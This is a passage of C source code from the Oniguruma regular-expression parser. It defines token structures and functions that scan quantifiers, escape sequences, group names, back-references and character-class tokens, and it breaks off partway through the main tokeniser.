TK_ANYCHAR_ANYTIME, /* SQL '%' == .* */ TK_ALT, TK_SUBEXP_OPEN, TK_SUBEXP_CLOSE, TK_CC_OPEN, TK_QUOTE_OPEN, TK_CHAR_PROPERTY, /* \p{...}, \P{...} */ /* in cc */ TK_CC_CLOSE, TK_CC_RANGE, TK_POSIX_BRACKET_OPEN, TK_CC_AND, /* && */ TK_CC_CC_OPEN /* [ */ }; typedef struct { enum TokenSyms type; int escaped; int base; /* is number: 8, 16 (used in [....]) */ UChar* backp; union { UChar* s; int c; OnigCodePoint code; int anchor; int subtype; struct { int lower; int upper; int greedy; int possessive; } repeat; struct { int num; int ref1; int* refs; int by_name; #ifdef USE_BACKREF_WITH_LEVEL int exist_level; int level; /* \k<name+n> */ #endif } backref; struct { UChar* name; UChar* name_end; int gnum; } call; struct { int ctype; int not; } prop; } u; } OnigToken; static int fetch_range_quantifier(UChar** src, UChar* end, OnigToken* tok, ScanEnv* env) { int low, up, syn_allow, non_low = 0; int r = 0; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; PFETCH_READY; syn_allow = IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INVALID_INTERVAL); if (PEND) { if (syn_allow) return 1; /* "....{" : OK! */ else return ONIGERR_END_PATTERN_AT_LEFT_BRACE; /* "....{" syntax error */ } if (! syn_allow) { c = PPEEK; if (c == ')' || c == '(' || c == '|') { return ONIGERR_END_PATTERN_AT_LEFT_BRACE; } } low = onig_scan_unsigned_number(&p, end, env->enc); if (low < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (low > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == *src) { /* can't read low */ if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV)) { /* allow {,n} as {0,n} */ low = 0; non_low = 1; } else goto invalid; } if (PEND) goto invalid; PFETCH(c); if (c == ',') { UChar* prev = p; up = onig_scan_unsigned_number(&p, end, env->enc); if (up < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (up > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == prev) { if (non_low != 0) goto invalid; up = REPEAT_INFINITE; /* {n,} : {n,infinite} */ } } else { if (non_low != 0) goto invalid; PUNFETCH; up = low; /* {n} : exact n times */ r = 2; /* fixed */ } if (PEND) goto invalid; PFETCH(c); if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) { if (c != MC_ESC(env->syntax)) goto invalid; PFETCH(c); } if (c != '}') goto invalid; if (!IS_REPEAT_INFINITE(up) && low > up) { return ONIGERR_UPPER_SMALLER_THAN_LOWER_IN_REPEAT_RANGE; } tok->type = TK_INTERVAL; tok->u.repeat.lower = low; tok->u.repeat.upper = up; *src = p; return r; /* 0: normal {n,m}, 2: fixed {n} */ invalid: if (syn_allow) { /* *src = p; */ /* !!! Don't do this line !!! */ return 1; /* OK */ } else return ONIGERR_INVALID_REPEAT_RANGE_PATTERN; } /* \M-, \C-, \c, or \... */ static int fetch_escaped_value(UChar** src, UChar* end, ScanEnv* env, OnigCodePoint* val) { int v; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH_S(c); switch (c) { case 'M': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META)) { if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c != '-') return ONIGERR_META_CODE_SYNTAX; if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c = ((c & 0xff) | 0x80); } else goto backslash; break; case 'C': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL)) { if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c != '-') return ONIGERR_CONTROL_CODE_SYNTAX; goto control; } else goto backslash; case 'c': if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_C_CONTROL)) { control: if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c == '?') { c = 0177; } else { if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c &= 0x9f; } break; } /* fall through */ default: { backslash: c = conv_backslash_value(c, env); } break; } *src = p; *val = c; return 0; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env); static OnigCodePoint get_name_end_code_point(OnigCodePoint start) { switch (start) { case '<': return (OnigCodePoint )'>'; break; case '\'': return (OnigCodePoint )'\''; break; default: break; } return (OnigCodePoint )0; } #ifdef USE_NAMED_GROUP #ifdef USE_BACKREF_WITH_LEVEL /* \k<name+n>, \k<name-n> \k<num+n>, \k<num-n> \k<-num+n>, \k<-num-n> */ static int fetch_name_with_level(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int* rlevel) { int r, sign, is_num, exist_level; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; is_num = exist_level = 0; sign = 1; pnum_head = *src; end_code = get_name_end_code_point(start_code); name_end = end; r = 0; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')' || c == '+' || c == '-') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0 && c != end_code) { if (c == '+' || c == '-') { int level; int flag = (c == '-' ? -1 : 1); if (PEND) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; goto end; } PFETCH(c); if (! ONIGENC_IS_CODE_DIGIT(enc, c)) goto err; PUNFETCH; level = onig_scan_unsigned_number(&p, end, enc); if (level < 0) return ONIGERR_TOO_BIG_NUMBER; *rlevel = (level * flag); exist_level = 1; if (!PEND) { PFETCH(c); if (c == end_code) goto end; } } err: r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } end: if (r == 0) { if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) goto err; *rback_num *= sign; } *rname_end = name_end; *src = p; return (exist_level ? 1 : 0); } else { onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_BACKREF_WITH_LEVEL */ /* ref: 0 -> define name (don't allow number name) 1 -> reference name (allow number name) */ static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; *rback_num = 0; end_code = get_name_end_code_point(start_code); name_end = end; pnum_head = *src; r = 0; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH_S(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { if (ref == 1) is_num = 1; else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (c == '-') { if (ref == 1) { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0) { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; else r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } } if (c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; } *rname_end = name_end; *src = p; return 0; } else { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') break; } if (PEND) name_end = end; err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #else static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; UChar *name_end; OnigEncoding enc = env->enc; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; end_code = get_name_end_code_point(start_code); *rname_end = name_end = end; r = 0; pnum_head = *src; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')') break; if (! ONIGENC_IS_CODE_DIGIT(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } if (r == 0 && c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (r == 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; *rname_end = name_end; *src = p; return 0; } else { err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_NAMED_GROUP */ static void CC_ESC_WARN(ScanEnv* env, UChar *c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"character class has '%s' without escape", c); (*onig_warn)((char* )buf); } } static void CLOSE_BRACKET_WITHOUT_ESC_WARN(ScanEnv* env, UChar* c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV((env)->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, (env)->enc, (env)->pattern, (env)->pattern_end, (UChar* )"regular expression has '%s' without escape", c); (*onig_warn)((char* )buf); } } static UChar* find_str_position(OnigCodePoint s[], int n, UChar* from, UChar* to, UChar **next, OnigEncoding enc) { int i; OnigCodePoint x; UChar *q; UChar *p = from; while (p < to) { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) { if (IS_NOT_NULL(next)) *next = q; return p; } } p = q; } return NULL_UCHARP; } static int str_exist_check_with_esc(OnigCodePoint s[], int n, UChar* from, UChar* to, OnigCodePoint bad, OnigEncoding enc, OnigSyntaxType* syn) { int i, in_esc; OnigCodePoint x; UChar *q; UChar *p = from; in_esc = 0; while (p < to) { if (in_esc) { in_esc = 0; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) return 1; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); if (x == bad) return 0; else if (x == MC_ESC(syn)) in_esc = 1; p = q; } } } return 0; } static int fetch_token_in_cc(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int num; OnigCodePoint c, c2; OnigSyntaxType* syn = env->syntax; OnigEncoding enc = env->enc; UChar* prev; UChar* p = *src; PFETCH_READY; if (PEND) { tok->type = TK_EOT; return tok->type; } PFETCH(c); tok->type = TK_CHAR; tok->base = 0; tok->u.c = c; tok->escaped = 0; if (c == ']') { tok->type = TK_CC_CLOSE; } else if (c == '-') { tok->type = TK_CC_RANGE; } else if (c == MC_ESC(syn)) { if (! IS_SYNTAX_BV(syn, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) goto end; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH(c); tok->escaped = 1; tok->u.c = c; switch (c) { case 'w': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'd': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 's': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'p': case 'P': if (PEND) break; c2 = PPEEK; if (c2 == '{' && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c2); if (c2 == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; case 'o': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_O_BRACE_OCTAL)) { PINC; num = scan_unsigned_octal_number(&p, end, 11, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { c2 = PPEEK; if (ONIGENC_IS_CODE_DIGIT(enc, c2)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if (p > prev + enclen(enc, prev) && !PEND && (PPEEK_IS('}'))) { PINC; tok->type = TK_CODE_POINT; tok->base = 8; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { c2 = PPEEK; if (ONIGENC_IS_CODE_XDIGIT(enc, c2)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if (p > prev + enclen(enc, prev) && !PEND && (PPEEK_IS('}'))) { PINC; tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { PUNFETCH; prev = p; num = scan_unsigned_octal_number(&p, end, 3, enc); if (num < 0 || num >= 256) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } break; default: PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; if (tok->u.c != c2) { tok->u.code = c2; tok->type = TK_CODE_POINT; } break; } } else if (c == '[') { if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_POSIX_BRACKET) && (PPEEK_IS(':'))) { OnigCodePoint send[] = { (OnigCodePoint )':', (OnigCodePoint )']' }; tok->backp = p; /* point at '[' is read */ PINC; if (str_exist_check_with_esc(send, 2, p, end, (OnigCodePoint )']', enc, syn)) { tok->type = TK_POSIX_BRACKET_OPEN; } else { PUNFETCH; goto cc_in_cc; } } else { cc_in_cc: if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP)) { tok->type = TK_CC_CC_OPEN; } else { CC_ESC_WARN(env, (UChar* )"["); } } } else if (c == '&') { if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP) && !PEND && (PPEEK_IS('&'))) { PINC; tok->type = TK_CC_AND; } } end: *src = p; return tok->type; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, num; OnigCodePoint c; OnigEncoding enc = env->enc; OnigSyntaxType* syn = env->syntax; UChar* prev; UChar* p = *src; PFETCH_READY; start: if (PEND) { tok->type = TK_EOT; return tok->type; } tok->type = TK_STRING; tok->base = 0; tok->backp = p; PFETCH(c); if (IS_MC_ESC_CODE(c, syn)) { if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; tok->backp = p; PFETCH(c); tok->u.c = c; tok->escaped = 1; switch (c) { case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_ASTERISK_ZERO_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_PLUS_ONE_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_QMARK_ZERO_ONE)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; greedy_check: if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_NON_GREEDY)) { PFETCH(c); tok->u.repeat.greedy = 0; tok->u.repeat.possessive = 0; } else { possessive_check: if (!PEND && PPEEK_IS('+') && ((IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT) && tok->type != TK_INTERVAL) || (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_INTERVAL) && tok->type == TK_INTERVAL))) { PFETCH(c); tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 1; } else { tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 0; } } break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case 'w': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'b': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BOUND; break; case 'B': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_NOT_WORD_BOUND; break; #ifdef USE_WORD_BEGIN_END case '<': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BEGIN; break; case '>': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_END; break; #endif case 's': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'd': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'A': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; begin_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_BUF; break; case 'Z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_SEMI_END_BUF; break; case 'z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; end_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_END_BUF; break; case 'G': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_CAPITAL_G_BEGIN_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_POSITION; break; case '`': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto begin_buf; break; case '\'': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto end_buf; break; case 'o': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_O_BRACE_OCTAL)) { PINC; num = scan_unsigned_octal_number(&p, end, 11, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { if (ONIGENC_IS_CODE_DIGIT(enc, PPEEK)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if ((p > prev + enclen(enc, prev)) && !PEND && PPEEK_IS('}')) { PINC; tok->type = TK_CODE_POINT; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { if (ONIGENC_IS_CODE_XDIGIT(enc, PPEEK)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if ((p > prev + enclen(enc, prev)) && !PEND && PPEEK_IS('}')) { PINC; tok->type = TK_CODE_POINT; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': PUNFETCH; prev = p; num = onig_scan_unsigned_number(&p, end, enc); if (num < 0 || num > ONIG_MAX_BACKREF_NUM) { goto skip_backref; } if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_DECIMAL_BACKREF) && (num <= env->num_mem || num <= 9)) { /* This spec. from GNU regex */ if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; tok->u.backref.num = 1; tok->u.backref.ref1 = num; tok->u.backref.by_name = 0; #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level = 0; #endif break; } skip_backref: if (c == '8' || c == '9') { /* normal char */ p = prev; PINC; break; } p = prev; /* fall through */ case '0': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { prev = p; num = scan_unsigned_octal_number(&p, end, (c == '0' ? 2:3), enc); if (num < 0 || num >= 256) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } else if (c != '0') { PINC; } break; #ifdef USE_NAMED_GROUP case 'k': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_K_NAMED_BACKREF)) { PFETCH(c); if (c == '<' || c == '\'') { UChar* name_end; int* backs; int back_num; prev = p; #ifdef USE_BACKREF_WITH_LEVEL name_end = NULL_UCHARP; /* no need. escape gcc warning. */ r = fetch_name_with_level((OnigCodePoint )c, &p, end, &name_end, env, &back_num, &tok->u.backref.level); if (r == 1) tok->u.backref.exist_level = 1; else tok->u.backref.exist_level = 0; #else r = 